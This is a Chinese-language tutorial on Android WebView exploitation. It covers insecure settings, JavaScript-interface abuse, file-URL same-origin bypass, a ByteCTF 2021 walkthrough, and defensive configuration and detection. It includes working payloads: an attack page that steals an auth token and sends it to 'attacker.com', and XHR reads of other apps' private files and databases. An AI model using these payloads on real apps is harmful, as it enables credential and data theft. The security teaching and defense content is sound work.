Android-Webview中的漏洞利用
字数 1260 2025-08-07 00:35:01
Android WebView漏洞利用深度解析
1. WebView基础概述
WebView是Android提供的一个系统组件,用于在应用程序中嵌入网页内容,基于WebKit/Blink渲染引擎实现。
1.1 WebView核心功能
- 加载显示网页内容
- 执行JavaScript代码
- 与原生Android应用交互
- 处理页面导航和资源请求
1.2 WebView常见用途
- 应用内浏览器功能
- 显示动态内容/广告
- 混合应用开发(Hybrid App)
- 快速迭代UI而不需发版
2. WebView安全机制
2.1 默认安全设置
WebView webView = new WebView(context);
// 默认设置:
// JavaScript禁用
// 文件访问禁用
// 内容访问限制
2.2 关键安全配置项
webView.getSettings().setJavaScriptEnabled(true); // 启用JS
webView.getSettings().setAllowFileAccess(true); // 文件访问
webView.getSettings().setAllowContentAccess(true); // 内容访问
webView.getSettings().setAllowFileAccessFromFileURLs(true); // 文件URL访问
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // 通用文件URL访问
3. WebView常见漏洞类型
3.1 任意代码执行漏洞
成因:
- 启用JavaScript接口且未正确限制
- 使用addJavascriptInterface暴露危险接口
漏洞代码示例:
webView.addJavascriptInterface(new JsObject(), "injectedObject");
3.2 文件域同源策略绕过
漏洞条件:
setAllowFileAccess(true);
setAllowFileAccessFromFileURLs(true);
setAllowUniversalAccessFromFileURLs(true);
利用方式:
// 通过file域访问私有文件
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.victim.app/shared_prefs/login.xml", false);
xhr.send();
3.3 协议处理漏洞
问题:
- 未验证Intent Scheme URL
- 允许javascript:协议执行任意代码
恶意URL示例:
intent://victim.com#Intent;scheme=evil;package=com.evil.app;action=android.intent.action.VIEW;end
4. ByteCTF 2021漏洞案例分析
4.1 题目环境分析
- 目标应用:模拟银行APP
- 漏洞点:WebView配置不当
- 攻击面:通过恶意网页窃取用户凭证
4.2 漏洞利用步骤
步骤1:识别WebView配置
// 漏洞配置
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.addJavascriptInterface(new AuthBridge(), "auth");
步骤2:分析Js接口
public class AuthBridge {
@JavascriptInterface
public String getAuthToken() {
return SecureStorage.getToken();
}
}
步骤3:构造攻击页面
<html>
<script>
function stealToken() {
var token = window.auth.getAuthToken();
fetch('http://attacker.com/steal?token=' + token);
}
</script>
<body onload="stealToken()">
</body>
</html>
步骤4:触发漏洞
webView.loadUrl("file:///sdcard/evil.html");
5. 漏洞防御措施
5.1 安全配置建议
// 禁用危险设置
webView.getSettings().setJavaScriptEnabled(false);
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowContentAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
// 移除不必要的JS接口
webView.removeJavascriptInterface("searchBoxJavaBridge_");
webView.removeJavascriptInterface("accessibility");
webView.removeJavascriptInterface("accessibilityTraversal");
5.2 安全使用JavascriptInterface
@JavascriptInterface
public String safeMethod(String input) {
// 输入验证
if(!isValid(input)) {
return "Invalid input";
}
// 最小权限原则
return performSafeOperation(input);
}
5.3 其他防御措施
- 启用WebView内容安全策略(CSP)
- 验证所有加载的URL
- 使用shouldOverrideUrlLoading拦截危险请求
- 定期更新WebView组件
6. 漏洞检测方法
6.1 静态分析
- 检查AndroidManifest.xml中的WebView声明
- 分析WebView设置代码
- 查找addJavascriptInterface调用
6.2 动态测试
- 使用ADB检查运行的WebView
adb shell dumpsys activity top | grep WebView
- 注入测试脚本检查可访问接口
for(var prop in window) {
console.log(prop);
}
7. 高级利用技术
7.1 跨应用数据窃取
// 访问其他应用的私有数据
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/databases/sensitive.db", false);
xhr.send();
var data = xhr.responseText;
// 将数据外传...
7.2 结合其他漏洞
- 与Content Provider漏洞结合
- 利用Intent Filter漏洞链
- 配合本地文件包含(LFI)扩大影响
8. 实际案例分析
8.1 某银行APP漏洞
漏洞描述:
- 允许file域访问
- 暴露敏感JS接口
- 未验证加载的URL
利用结果:
- 窃取用户登录凭证
- 获取本地存储的银行卡信息
- 实现远程代码执行
9. 参考资源
- Android官方WebView文档
- OWASP Mobile Top 10
- WebView安全最佳实践白皮书
- ByteCTF 2021官方Writeup
10. 总结
WebView漏洞利用的核心在于:
- 识别不安全的配置
- 发现暴露的JS接口
- 构造有效的攻击载荷
- 实现数据窃取或代码执行
开发者必须严格遵循安全配置指南,定期进行安全审计,以防范WebView相关的安全风险。